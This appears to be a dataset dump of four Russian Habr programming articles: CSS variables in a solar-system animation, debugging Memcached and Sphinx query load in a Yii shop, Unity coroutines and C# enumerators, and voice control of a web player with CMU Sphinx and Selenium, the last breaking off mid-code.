text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Изучаем переменные в CSS на практическом примере
Доброго времени суток, друзья!
Однажды веб серфинг привел меня к [этому замечательному коду](https://codepen.io/robdimarzo/full/LMOLer).
«Замечательность» его (то бишь кода) состоит в практическом использовании переменных в CSS, что сильно облегчает написание стилей (использование переменных также обуславливает необычную структуру CSS). И, конечно, тема импонирует весьма — планеты Солнечной системы.
Оригинальный проект написан на Pug и Sass, мы же разберем его на HTML/CSS.
Итак, поехали.
Разметка одной планеты (в данном случае Меркурия) выглядит следующим образом (привожу собственный облегченный вариант):
```
mercury
-------
Tilt0.034°
Day1,407 hours
Year88 days
```
Видим следующее:
* Обертку для планеты и информации о ней — .card
* Привязку обертки к конкретной планете — .mercury
* Контейнер для планеты — .planet
* Внутри которого находится контейнер для атмосферы — .atmosphere
* Внутри которого — поверхность планеты — .surface
* Контейнер для информации о планете — .info
* Название соответствующей планеты — .title
* Контейнер для дополнительных сведений — .form
* Контейнер для единицы информации — .item
* Всего у нас три единицы информации:
1. В первой содержится информация о наклоне оси планеты и изображение стрелочки
2. Во второй — информация о продолжительности дня в часах
3. В третьей — о продолжительности года в днях
Да, чуть не забыл — в элементе «head» подключается шрифт:
```
```
… и Font Awesome (для стрелочки):
```
```
**Весь HTML:**
```
mercury
-------
Tilt0.034°
Day1,407 hours
Year88 days
venus
-----
Tilt177.3°
Day5,832 hours
Year224.7 days
earth
-----
Tilt23.26°
Day23.9 hours
Year365.2 days
mars
----
Tilt25.2°
Day24.6 hours
Year687 days
jupiter
-------
Tilt3.1°
Day9.9 hours
Year4,331 days
saturn
------
Tilt26.7°
Day10.7 hours
Year10,747 days
uranus
------
Tilt97.8°
Day17.2 hours
Year30,589 days
neptune
-------
Tilt28.3°
Day16.1 hours
Year59,800 days
pluto
-----
Tilt122.5°
Day153.3 hours
Year90,560 days
sun
---
Tilt0°
Day~600 hours
Year0 days
```
Переходим к CSS.
Для объявления переменных в CSS используется следующий синтаксис:
```
:root {
--имя-переменной: значение;
}
```
Подробнее о псевдоклассе :root можно почитать [здесь](https://webref.ru/layout/structural-pseudo-classes/root).
Переменные для планеты объявляются следующим образом:
```
:root {
--mercury-image: url(https://thebestcode.ru/media/solarSystem/mercury.jpg);
--mercury-tilt: rotate(0.034deg);
--mercury-day: 1407.6;
--mercury-color: #999;
}
```
Как видим, объявляются переменные для изображения, угла наклона, продолжительности дня и цвета планеты, соответственно.
Для вращения планет используется такая анимация:
```
@keyframes planetRotate {
0% {
background-position: 0% center;
}
100% {
background-position: -200% center;
}
}
```
Применяются переменные в CSS так:
```
var(--имя-переменной);
```
Вот как переменные используются для создания стилей планеты:
```
.mercury .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--mercury-color);
}
.mercury .surface {
background-image: var(--mercury-image);
transform: var(--mercury-tilt) scale(1.2);
animation: planetRotate calc(var(--mercury-day)*.1s) linear infinite;
}
.mercury .planet::before {
transform: var(--mercury-tilt) scale(1.2);
border-color: var(--mercury-color);
color: var(--mercury-color);
}
.mercury .icon {
transform: var(--mercury-tilt);
color: var(--mercury-color);
}
```
Обратите внимание, как переменная для продолжительности дня (--mercure-day) используется для определения продолжительности анимации (скорости вращения планеты).
**Весь CSS:**
```
:root {
--mercury-image: url(https://thebestcode.ru/media/solarSystem/mercury.jpg);
--mercury-tilt: rotate(0.034deg);
--mercury-day: 1407.6;
--mercury-color: #999;
--venus-image: url(https://thebestcode.ru/media/solarSystem/venus.jpg);
--venus-tilt: rotate(177.3deg);
--venus-day: 5832.5;
--venus-color: #e8cda2;
--earth-image: url(https://thebestcode.ru/media/solarSystem/earth.jpg);
--earth-tilt: rotate(23.26deg);
--earth-day: 23.9;
--earth-color: #b3caff;
--mars-image: url(https://thebestcode.ru/media/solarSystem/mars.jpg);
--mars-tilt: rotate(25.2deg);
--mars-day: 24.6;
--mars-color: #c07158;
--jupiter-image: url(https://thebestcode.ru/media/solarSystem/jupiter.jpg);
--jupiter-tilt: rotate(3.1deg);
--jupiter-day: 9.9;
--jupiter-color: #c9b5a4;
--saturn-image: url(https://thebestcode.ru/media/solarSystem/saturn.jpg);
--saturn-tilt: rotate(26.7deg);
--saturn-day: 10.7;
--saturn-color: #f0e2c4;
--uranus-image: url(https://thebestcode.ru/media/solarSystem/uranus.jpg);
--uranus-tilt: rotate(97.8deg);
--uranus-day: 17.2;
--uranus-color: #b8d8e1;
--neptune-image: url(https://thebestcode.ru/media/solarSystem/neptune.jpg);
--neptune-tilt: rotate(28.3deg);
--neptune-day: 16.1;
--neptune-color: #5e73bb;
--pluto-image: url(https://thebestcode.ru/media/solarSystem/pluto.jpg);
--pluto-tilt: rotate(122.5deg);
--pluto-day: 153.3;
--pluto-color: #c3b6aa;
--sun-image: url(https://thebestcode.ru/media/solarSystem/sun.jpg);
--sun-tilt: rotate(0deg);
--sun-day: 600;
--sun-color: #cc9f4c;
}
@keyframes planetRotate {
0% {
background-position: 0% center;
}
100% {
background-position: -200% center;
}
}
body {
background: #000;
color: #fff;
height: 100%;
width: 100vw;
margin: 10px 0 40px 0;
display: grid;
grid-template-columns: repeat(auto-fill, 190px);
grid-template-rows: repeat(auto-fill, 400px);
grid-gap: 40px;
align-items: center;
justify-items: center;
justify-content: center;
overflow-x: hidden;
font-family: "Major Mono Display";
text-transform: lowercase;
}
.card {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
}
.mercury .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--mercury-color);
}
.mercury .surface {
background-image: var(--mercury-image);
transform: var(--mercury-tilt) scale(1.2);
animation: planetRotate calc(var(--mercury-day)*.1s) linear infinite;
}
.mercury .planet::before {
transform: var(--mercury-tilt) scale(1.2);
border-color: var(--mercury-color);
color: var(--mercury-color);
}
.mercury .icon {
transform: var(--mercury-tilt);
color: var(--mercury-color);
}
.venus .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--venus-color);
}
.venus .surface {
background-image: var(--venus-image);
transform: var(--venus-tilt) scale(1.2);
animation: planetRotate calc(var(--venus-day)*.1s) linear infinite;
}
.venus .planet::before {
transform: var(--venus-tilt) scale(1.2);
border-color: var(--venus-color);
color: var(--venus-color);
}
.venus .icon {
transform: var(--venus-tilt);
color: var(--venus-color);
}
.earth .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--earth-color);
}
.earth .surface {
background-image: var(--earth-image);
transform: var(--earth-tilt) scale(1.2);
animation: planetRotate calc(var(--earth-day)*.1s) linear infinite;
}
.earth .planet::before {
transform: var(--earth-tilt) scale(1.2);
border-color: var(--earth-color);
color: var(--earth-color);
}
.earth .icon {
transform: var(--earth-tilt);
color: var(--earth-color);
}
.mars .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--mars-color);
}
.mars .surface {
background-image: var(--mars-image);
transform: var(--mars-tilt) scale(1.2);
animation: planetRotate calc(var(--mars-day)*.1s) linear infinite;
}
.mars .planet::before {
transform: var(--mars-tilt) scale(1.2);
border-color: var(--mars-color);
color: var(--mars-color);
}
.mars .icon {
transform: var(--mars-tilt);
color: var(--mars-color);
}
.jupiter .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--jupiter-color);
}
.jupiter .surface {
background-image: var(--jupiter-image);
transform: var(--jupiter-tilt) scale(1.2);
animation: planetRotate calc(var(--jupiter-day)*.1s) linear infinite;
}
.jupiter .planet::before {
transform: var(--jupiter-tilt) scale(1.2);
border-color: var(--jupiter-color);
color: var(--jupiter-color);
}
.jupiter .icon {
transform: var(--jupiter-tilt);
color: var(--jupiter-color);
}
.saturn .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--saturn-color);
}
.saturn .surface {
background-image: var(--saturn-image);
transform: var(--saturn-tilt) scale(1.2);
animation: planetRotate calc(var(--saturn-day)*.1s) linear infinite;
}
.saturn .planet::before {
transform: var(--saturn-tilt) scale(1.2);
border-color: var(--saturn-color);
color: var(--saturn-color);
}
.saturn .icon {
transform: var(--saturn-tilt);
color: var(--saturn-color);
}
.uranus .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--uranus-color);
}
.uranus .surface {
background-image: var(--uranus-image);
transform: var(--uranus-tilt) scale(1.2);
animation: planetRotate calc(var(--uranus-day)*.1s) linear infinite;
}
.uranus .planet::before {
transform: var(--uranus-tilt) scale(1.2);
border-color: var(--uranus-color);
color: var(--uranus-color);
}
.uranus .icon {
transform: var(--uranus-tilt);
color: var(--uranus-color);
}
.neptune .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--neptune-color);
}
.neptune .surface {
background-image: var(--neptune-image);
transform: var(--neptune-tilt) scale(1.2);
animation: planetRotate calc(var(--neptune-day)*.1s) linear infinite;
}
.neptune .planet::before {
transform: var(--neptune-tilt) scale(1.2);
border-color: var(--neptune-color);
color: var(--neptune-color);
}
.neptune .icon {
transform: var(--neptune-tilt);
color: var(--neptune-color);
}
.pluto .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--pluto-color);
}
.pluto .surface {
background-image: var(--pluto-image);
transform: var(--pluto-tilt) scale(1.2);
animation: planetRotate calc(var(--pluto-day)*.1s) linear infinite;
}
.pluto .planet::before {
transform: var(--pluto-tilt) scale(1.2);
border-color: var(--pluto-color);
color: var(--pluto-color);
}
.pluto .icon {
transform: var(--pluto-tilt);
color: var(--pluto-color);
}
.sun .atmosphere {
box-shadow: inset 10px 0px 12px -2px rgba(255, 255, 255, 0.2), inset -70px 0px 50px 0px black, -5px 0px 10px -4px var(--sun-color);
}
.sun .surface {
background-image: var(--sun-image);
transform: var(--sun-tilt) scale(1.2);
animation: planetRotate calc(var(--sun-day)*.1s) linear infinite;
}
.sun .planet::before {
transform: var(--sun-tilt) scale(1.2);
border-color: var(--sun-color);
color: var(--sun-color);
}
.sun .icon {
transform: var(--sun-tilt);
color: var(--sun-color);
}
.planet::before {
content: '';
position: absolute;
height: 190px;
z-index: -2;
left: 50%;
top: 0%;
border-left: 1px dashed rgba(255, 255, 255, 0.25);
}
.atmosphere {
height: 190px;
width: 190px;
position: relative;
background: radial-gradient(circle at 30% 50%, rgba(255, 255, 255, 0.3) 0%, rgba(255, 255, 255, 0) 65%);
border-radius: 100px;
overflow: hidden;
}
.surface {
position: absolute;
height: 100%;
width: 100%;
z-index: -1;
background-size: cover;
}
.sun .atmosphere {
box-shadow: 0px 0px 10px 0px var(--sun-color), 0px 0px 1000px -2px var(--sun-color);
}
.info {
width: 100%;
}
.title {
text-align: center;
font-size: 28px;
}
.form {
display: flex;
flex-direction: column;
justify-content: space-between;
}
.item {
display: flex;
align-items: flex-end;
margin-bottom: 5px;
font-size: 14px;
}
.item .icon {
margin: 0 5px;
}
.label {
font-size: 11px;
}
.line {
flex: 1;
margin: 0 5px;
border-bottom: 1px dashed rgba(255, 255, 255, 0.3);
}
```
Мой вариант можно посмотреть [здесь](https://codepen.io/igor_agapov/pen/eYNdjWo).
А [вот](https://codepen.io/juliangarnier/pen/idhuG) еще одна Солнечная система (лучшее из того, что я видел).
Благодарю за внимание.
Счастливого кодинга! | https://habr.com/ru/post/489294/ | null | ru | null |
# Легенда о серебряной пуле или как я искал логические ошибки кэширования и получения данных
**Отказ от претензий**: не используйте описанные ниже патчи на продакшене; пользуйтесь специально подготовленными тестовыми площадками.
\* \* \*
--------
Когда я был маленьким, то мечтал стать волшебником. Когда немного подрос, выбрал наиболее близкую к колдовству профессию — стал программистом. В процессе разработки всяких веб-приложений разной степени сложности оказалось, что тешатся не только любопытство и любовь к экспериментам, но и простое человеческое тщеславие.
Ох уж это сладкое чувство, когда ты приходишь весь в белом, шевелишь пальцами над клавиатурой неделю или две (возможно, час или день) — и решаешь какую-то проблему, с которой много людей долго и безуспешно боролись.
Вводная
-------
История началась с того, что меня попросили провести подробный аудит довольно популярного интернет-магазина. Всё приложение вертелось на двух балансировщиках, нескольких бэкэндах и двух серверах БД. Нагрузка — 1-4 тысячи запросов в минуту. Стек близок к классическому: PHP(-fpm), Mysql, Memcached, Sphinx, Nginx. Иногда обстоятельства складывались так, что вся система вставала колом, при этом прямой корреляции с нагрузкой не было. И даже с выкладкой нового кода (и соответствующими перезапусками демонов) — не всегда.
Приятно, что, похоже, разработчики читали [разные полезные статьи](http://habrahabr.ru/search/?q=[highload]&target_type=posts), когда создавали это всё. Потом, правда, потихоньку люди менялись, и текущая команда в основном пилила новый функционал, а периодическими падениями занималась по остаточному принципу (т.е. положили болт: “быстро поднятое не считается упавшим”).
Ретроспектива (забегая вперед)
------------------------------
Когда проект уже завершился, мне самому кажется странным, что я так долго копался: проблемный метод мелькал в первых же отчетах New Relic, а заметить запрос к внешнему хранилищу данных внутри цикла можно было сразу.
В итоге мне потребовалось несколько десятков часов на чтение кода и эксперименты, чтобы “почувствовать” проект и выловить наконец-то проблему.
Переписать, отладить и подготовить патч — полдня, может, чуть больше. Надеюсь, когда-нибудь я смогу с гордостью сказать что-то вроде “никто бы не смог найти этот косяк быстрее”. Но пока пишу заметки, чтобы позволить коллегам набивать меньше шишек:)
Исследования
------------
Основной корень проблем (на самом деле, нет) я нашел довольно быстро. С момента запуска магазина таблица товаров разрослась до более чем 10ГБ, и вертелась с определенными трудностями. Особенно когда на ней обновлялись индексы. С табличкой заказов было нечто подобное, но к ней не было массовых обращений. При этом бэкофис сайта на Magento исключал хоть какой-нибудь шардинг. Та часть, на которую приходилась основная нагрузка, написана на Yii, и в ней мне и нужно было что-нибудь раскопать с помощью New Relic и непечатных выражений.
Первым делом, конечно, я пробежался по ТОП-20 самых “времяёмких” контроллеров. Проверил, как там с кэшированием (почти везде всё было), проверил, что кэши работают. Заодно прошелся по коду автоматическим анализатором, нашел несколько ошибок вроде “в PHP так нельзя”, да и только.
Пока разработчики доделывали кэширование в тех местах, где его не хватало, я продолжал копаться в приложении. Пытался набросать балансировщик SQL-запросов для Magento, потратил кучу времени, пал духом, бросил.
В какой-то момент пришло в голову здравое решение. Если кэширование везде есть, “горячий старт” вообще не требует запросов в базу, то, может быть, кэшей слишком много? Ключи разные, данные одинаковые? Косвенно на эту мысль меня навела статистика — для одного запроса веб-страницы триста memcached-get — многовато, явно есть простор для оптимизации.
Провести исследование по использованию мемкешей оказалось не так уж сложно. Главное — не делайте так на продакшене. Всё сломать — пара пустяков. Будем патчить ядро Yii.
Эксперимент
-----------
В классе memcached нужно добавить переменную, допустим, $debagger. Если вызов идет через Singleton или что-нибудь подобное — необязательно даже объявлять переменную статической.
Потом в методе **get()** добавляем статистику.
```
public function get($id)
{
if (isset($this->debugger['ids_count'][$id])) {
$this->debugger['ids_count'][$id]++;
if (
$this->debugger['ids_count'][$id] > 10
&& !isset($this->debugger['much'][$id])
) {
$backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
$this->debugger['much'][$id] = $this->debugger['ids_count'][$id];
$this->debugger['much'][$id] = $backtrace;
}
} else {
$this->debugger['ids_count'][$id] = 0;
}
if (isset($this->debugger['all'])) {
$this->debugger['all']++;
} else {
$this->debugger['all'] = 0;
}
if(($value=$this->getValue($this->generateUniqueKey($id)))!==false)
{
$data=$this->autoSerialize ? $this->unserializeValue($value) : $value;
if(!$this->autoSerialize || (is_array($data) && (!($data[1] instanceof ICacheDependency) || !$data[1]->getHasChanged())))
{
Yii::trace('Serving "'.$id.'" from cache','system.caching.'.get_class($this));
if (isset($this->debugger['success'][$id])) {
$this->debugger['success'][$id]++;
} else {
$this->debugger['success'][$id] = 0;
}
return $this->autoSerialize ? $data[0] : $data;
}
}
if (isset($this->debugger['fail'][$id])) {
$this->debugger['fail'][$id]++;
} else {
$this->debugger['fail'][$id] = 0;
}
return false;
}
```
Мы считаем общее количество уникальных ключей (**ids\_count**). Если ключ не уникален — считаем, сколько раз он вызывается. Потом фиксируем попадания и промахи. И, наконец, для самых популярных ключей фиксируем трейс, чтобы найти концы.
Где-нибудь в конце страницы всю эту переменную можно вывести. Аккуратисты, конечно, положат это всё в логфайл и будут смотреть туда.
Я прошелся по основным страницам, собрал логи и полез смотреть. Удивительно — но нашлось несколько методов, которые по 20 раз запрашивали одни и те же данные. Переделал — и количество запросов упало примерно в полтора-два раза, что, правда, не сильно-то сказалось на производительности (закономерно).
Не прокатило
------------
Копаем больше, дальше и глубже… Я начал подозревать (на самом деле, были жалобы на падения), что есть проблемы с использованием Sphinx. Приложение общалось и с ним, и с Mysql через HandlerSocket, поэтому New Relic их в своей статистике не разделял — этим пришлось заниматься самому.
Применив вышеизложенный способ сбора статистики, я увидел фантастические 600 запросов к Sphinx на главной странице при “холодном старте”, и ни одного — при “горячем”. Правда, все запросы разные. Записал в логи сам запрос и получил что-то типа:
```
select id1, id2 from table where cat_id IN (N); -- N -- целое число.
```
Тут я начал что-то подозревать. Заглянул в код. И, конечно, увидел правильный кэш (правильно), в случае отсутствия которого выполнялся foreach, в котором делался запрос к Sphinx (неправильно).
Сфинкс быстрый и классный. Но он не может (и не должен) работать с такой же интенсивностью, как мемкеш. У него другой принцип работы и, прямо скажем, другие задачи. Не надо так.
Переписал весь метод на использование одного большого запроса вместо пачки маленьких. Запрос стал выглядеть вот так:
```
select id1, id2 from table where cat_id IN (X1, X2, ... XN);
```
Проверил, что всё работает. С замиранием сердца дождался выкладки.
Прокатило
---------
Общий прирост производительности, конечно, получился не кратным. Может, 10%, может, чуть больше. Но насколько легче стали даваться сбросы Memcache! 600 простых и быстрых запросов превратились в один сложный и долгий. Но он всё равно делался в два раза быстрее! Зато сервер задышал полной грудью и перестал падать при каждой выкладки.
Вот на этих графиках вертикальными линиями отмечена выкладка кода на серверы (отмечу, что по нашему совету код стали выкладывать не одновременно, а с небольшим интервалом). Рваный график запросов сразу превратился в плавную линию. Минимальное время отработки страницы выросло, но зато экстремумы исчезли вовсе. И, главное, число запросов стало стабильно низким.
Участники событий наснимали еще красивых картинок в New Relic, нарисовали оптимистичный отчет и с удовольствием пропили солидный гонорар. | https://habr.com/ru/post/278675/ | null | ru | null |
# Unity: Что представляет из себя Coroutine и зачем там IEnumerator
Название статьи - это вопрос, который мне задали на собеседовании на позицию Middle. В этой статье мы расмотри корутины в Unity, что они из себя представляют, и заодно захватим тему Enumerator\Enumerable в С# и небольшую тайну foreach. Статья должна быть очень полезной для начинающих и интересной для разработчиков с опытом.
И так, как всем известно, метод, представляющего из себя Coroutine в Unity, выглядит следующим образом:
```
IEnumerator Coroutine()
{
yield return null;
}
```
Немного информации об корутинах в Unity и IEnumeratorВ качестве возвращаемого объекта после yield return может быть:
* new WaitForEndOfFrame() - останавливает выполнение до конца следующего кадра
* new WaitForFixedUpdate() - останавливает выполнение до следующего кадра физического движка.
* new WaitForSeconds(float x) - останавливает выполнение на x секунд игрового времени (оно может быть изменено через [Time.timeScale](https://docs.unity3d.com/ScriptReference/Time-timeScale.html))
* new WaitForSecondsRealtime(float x) - останавливает выполнение на x секунд реального времени
* new WaitUntil(Func) - останавливает выполнение до момента, когда Func не вернет true
* new WaitWhile(Func) - обратное к WaitUntil, продолжает выполнение, когда Func возвращает false
* null - то же, что и WaitForEndOfFrame(), но выполнение продолжается в начале след. кадра
* break - завершает корутину
* StartCoroutine() - выполнение останавливает до момента, когда новая начатая корутина не закончится.
Запускаются корутины через StartCoroutine(Coroutine()).
Корутины не являются асинхронными, они выполняются в основном потоке приложения, в том же, что и отрисовка кадров, инстансирование объектов и т.д., если заблокировать поток в корутине, то остановится все приложение, корутины с асинхронностью использовали бы "IAsyncEnumerator", который Unity не поддерживает. Корутина позволяет растянуть выполнение на несколько кадров, что бы не нагружать 1 кадр большими вычислениями. Unity предоставляет тип UnityWebRequest для Http запросов, которые можно выполнять "асинхронно" в несколько кадров, что может показаться "асинхронностью", на самом деле же это обертка над нативным асинхронным HttpClient, которая предоставляет некоторую информацию синхронно, по типу поля isDone, которое отображает - закончился ли запрос или еще ожидается ответ, но сам запрос идет асинхронно.
IEnumerator - это стандартная реализация паттерна "итератор" в C#, которая содержит синтаксический сахар для хранения состояния. (спасибо [@SadOcean](/users/SadOcean)за дополнение)
Он возвращает IEnumerator и имеет необычный return с припиской yield.
yield return это составляющая IEnumerator, эта связка преобразуется, при компиляции, в машину состояний, которая сохраняет позицию в коде, ждет команды MoveNext от IEnumerator и продолжает выполнение до следующего yield return или конца метода, больше подробной информации можно найти на [сайте майкрософта.](https://docs.microsoft.com/ru-ru/dotnet/csharp/language-reference/keywords/yield)
Интерфейс IEnumerator, в свою очередь, содержит следующие элементы:
```
public interface IEnumerator
{
object Current { get; }
bool MoveNext();
void Reset();
}
```
Под капотом Unity это обрабатывается примерно так: Unity получает IEnumerator, который передается через StartCoroutine(IEnumerator), сразу вызывает MoveNext, для того, чтобы код дошел до первого yield return, здесь стоит уточнить, что при вызове такого метода выполнение кода внутри метода не начинается самостоятельно, и необходимо вызвать MoveNext, это можно проверить простым скриптом, который представлен под этим абзатцем, а затем если Unity получает в Current объект типа YieldInstruction, то выполняет инструкцию и снова вызывает MoveNext, то есть, метод может возвращать любой тип, и если это не YieldInstruction, то Unity его обработает как yield return null.
```
private IEnumerator _coroutine;
// Start is called before the first frame update
void Start()
{
_coroutine = Coroutine();
}
// Update is called once per frame
void Update()
{
if (Time.time > 5)
_coroutine.MoveNext();
}
IEnumerator Coroutine()
{
while (true)
{
Debug.Log(Time.time);
yield return null;
}
}
```
В логе видно, что впервые метод вызвался на 5-ой секунде, согласно условию в Update()Отлично, мы разобрали основной момент, а именно, что такое IEnumerator и как он работает. Теперь разберем такой случай:
Опишем класс, который наследует интерфейс IEnumerator
```
class TestEnumerator : IEnumerator
{
public object Current => new WaitForSeconds(1);
public bool MoveNext()
{
Debug.Log(Time.time);
return true;
}
public void Reset()
{
}
/// Этот класс равносилен следующей корутине:
/// IEnumerator Coroutine()
/// {
/// while(true){
/// Debug.Log(Time.time);
/// yield return new WaitForSeconds(1);
/// }
/// }
}
```
И мы теперь его можем использовать следующим способом:
```
void Start()
{
StartCoroutine(new TestEnumerator());
}
```
Выполняет так же, как и корутина-методИ так, мы рассмотрели IEnumerator и корутины, здесь можно еще долго рассматривать разные варианты использования, но в корне остается передача IEnumerator в каком либо виде в метод StartCoroutine.
Теперь предлагаю рассмотреть IEnumerable, этот интерфейс наследуют нативный массив C#, List из System.Generic и прочие подобные типы, вся его суть заключается в том, что он содержит метод GetEnumerator, который возвращает IEnumerator:
```
public interface IEnumerable
{
[DispId(-4)]
IEnumerator GetEnumerator();
}
```
Реализуем простенький пример:
```
class TestEnumerable : IEnumerable
{
public IEnumerator GetEnumerator()
{
return new TestEnumerator();
}
}
```
И теперь, мы можем сделать следующее:
```
IEnumerator Coroutine()
{
foreach (var delay in new TestEnumerable())
{
Debug.Log($"{Time.time}");
yield return delay;
}
}
```
Можно видеть, что там дважды выводится время в лог, это из-за того, что у нас в TestEnumerator остался Debug в методе MoveNext.Применений для этого множество, например можно добавить в TestEnumerator случайное время задержки:
```
class TestEnumerator : IEnumerator
{
public object Current => new WaitForSeconds(_currDelay);
private float _currDelay;
public bool MoveNext()
{
_currDelay = Random.Range(1.0f, 3.0f);
return true;
}
public void Reset()
{
}
}
```
Время между логами не одинаковоеИ немного магии для начинающих: foreach не требует чтобы объект возвращаемый GetEnumerator реализовывал IEnumerable, самое главное, что бы тип после "in" имел метод GetEnumerator(), и возвращал тип с свойством Current и методом MoveNext(), то есть, мы можем сделать так:
```
class TestEnumerator // Здесь было наследование от IEnumerator
{
public object Current => new WaitForSeconds(_currDelay);
private float _currDelay;
public bool MoveNext()
{
_currDelay = Random.Range(1.0f, 3.0f);
return true;
}
// Здесь был Reset из IEnumerator, он теперь не нужен :)
}
class TestEnumerable // Здесь было наследование от IEnumerable
{
// Возвращаемый тип был IEnumerator
public TestEnumerator GetEnumerator()
{
return new TestEnumerator();
}
}
```
Как видно, нигде нет наследования и любого упоминания IEnumerable и IEnumerator, но при этом мы так же можем использовать следующий код:
```
IEnumerator Coroutine()
{
foreach (var delay in new TestEnumerable())
{
Debug.Log($"{Time.time}");
yield return delay;
}
}
```
Все работает так же и без ошибокИ так, разобрав корутины, IEnumerator, IEnumerable и foreach нужно бы увидеть пример использования этих знаний на практике:
Более удобные в использовании CoroutineЗдесь я хотел описать реализацию корутины с токеном отмены (CancelationToken) и событиями старта\завершения с возможность ставить выполнение на паузу, но я опоздал, и на github есть готовое решение, советую к изучение, хоть я и не полностью согласен с реализацией:
[unity-task-manager/TaskManager.cs at master · AdamRamberg/unity-task-manager (github.com)](https://github.com/AdamRamberg/unity-task-manager/blob/master/Assets/UnityTaskManager/TaskManager.cs)
Буду благодарен критике и замечаниям, так же советую посмотреть другие мои статьи. | https://habr.com/ru/post/682320/ | null | ru | null |
# Голосовое управление web-плеером, или скрещиваем CMU Sphinx с Selenium WebDriver
В [этой статье](http://habrahabr.ru/post/239355/) я описывал создание веб mp3 плеера и домашней аудиосистемы.
Сам плеер можно увидеть [здесь](http://home.tabatsky.ru/mp3player/desktop.jsp).
Возникла идея — прикрутить к плееру голосовое управление.
После часа-другого поиска в интернете решение нашлось:
CMU Sphinx — для распознавания речи + Selenium WebDriver — для программного управления браузером.
Итак, начнем.
Разработку велась в IDE Eclipse.
Для начала нужно преобразовать наш проект в проект Maven:
right click на проекте — Configure — Convert to Maven Project.
**В файл pom.xml нужно добавить следующее:**
```
snapshots-repo
https://oss.sonatype.org/content/repositories/snapshots
false
true
edu.cmu.sphinx
sphinx4-core
1.0-SNAPSHOT
```
**Также нам понадобится:**
1. Русская акустическая модель (скачать можно [здесь](http://sourceforge.net/projects/cmusphinx/files/Acoustic%20and%20Language%20Models/Russian%20Audiobook%20Morphology%20Zero/))
— скачиваем последнюю версию архива, и копируем папку zero\_ru.cd\_cont\_4000 в нашу папку с исходниками.
2. Selenium WebDriver для Java ([скачать](http://docs.seleniumhq.org/download/)) — подключаем к проекту jar-файл библиотеки из архива.
3. [Эти файлы](https://github.com/zamiron/ru4sphinx/tree/master/text2dict) — для генерирования транскрипций русских слов используем dict2transcript.pl.
**И так, можно начать работу над программой.**
С помощью скрипта dict2transcript.pl составляем наш словарь — mydict.dict:
```
cranberries k r y n bb i rr i s
gromche g r oo m ch i
iskat i s k aa tt
kinoproby kk i n a p r oo b y
minus mm ii n u s
nautilus n ay u tt ii l u s
nazad n ay z aa t
number1 a dd ii n
number3 t rr ii
number10 dd je ss i tt
number30 t rr ii c ay tt
pausa p aa u z ay
plus p ll ju s
rammstein r aa m sh t ay j n
snaipery s n aa j pp i r y
start s t ay r t
tishe tt ii sh y
```
Затем составляем grammar-файл — mygrammar.gram:
```
#JSGF V1.0;
grammar mygrammar;
public = start;
public = pausa;
public = tishe;
public = gromche;
public = (plus|minus)(number1|number3|number10|number30);
public = iskat;
public = (cranberries|kinoproby|nautilus|rammstein|snaipery);
```
**И вот, собственно, исходник программы на Java:**
```
package jatx.sphinxtest;
import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
import edu.cmu.sphinx.api.Configuration;
import edu.cmu.sphinx.api.LiveSpeechRecognizer;
import edu.cmu.sphinx.api.SpeechResult;
import edu.cmu.sphinx.result.WordResult;
public class Main {
private static final WebDriver driver = new FirefoxDriver();
private static int volume = 100;
private static final String[] prefixes =
{"plus","minus","iskat"};
private static final String[] artists =
{"cranberries", "kinoproby","nautilus","rammstein","snaipery"};
private static final String[] numbers =
{"number1","number3","number10","number30"};
static {
driver.manage().window().maximize();
music();
}
public static void main(String[] args) {
Configuration configuration = new Configuration();
configuration.setAcousticModelPath("resource:/jatx/sphinxtest/zero_ru.cd_cont_4000");
configuration.setDictionaryPath("resource:/jatx/sphinxtest/mydict.dict");
configuration.setUseGrammar(true);
configuration.setGrammarPath("resource:/jatx/sphinxtest");
configuration.setGrammarName("mygrammar");
try {
LiveSpeechRecognizer recognizer = new LiveSpeechRecognizer(configuration);
recognizer.startRecognition(true);
String prefix = "";
while (true)
{
SpeechResult result = recognizer.getResult();
for (WordResult r : result.getWords())
{
try {
String cmd = r.getWord().toString();
if (cmd.equals("tishe")) volumeDown();
if (cmd.equals("gromche")) volumeUp();
if (cmd.equals("start")) play();
if (cmd.equals("pausa")) pause();
for (String pref: prefixes) {
if (cmd.equals(pref)) prefix = pref;
}
for (String artist: artists) {
if (cmd.equals(artist)&&prefix.equals("iskat")) changeArtist(artist);
}
for (String number: numbers) {
if (cmd.equals(number)) {
Integer num = Integer.parseInt(number.replace("number", ""));
if (prefix.equals("minus")) rev(num);
if (prefix.equals("plus")) fwd(num);
}
}
//System.out.println(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
private static void music() {
System.out.println("music");
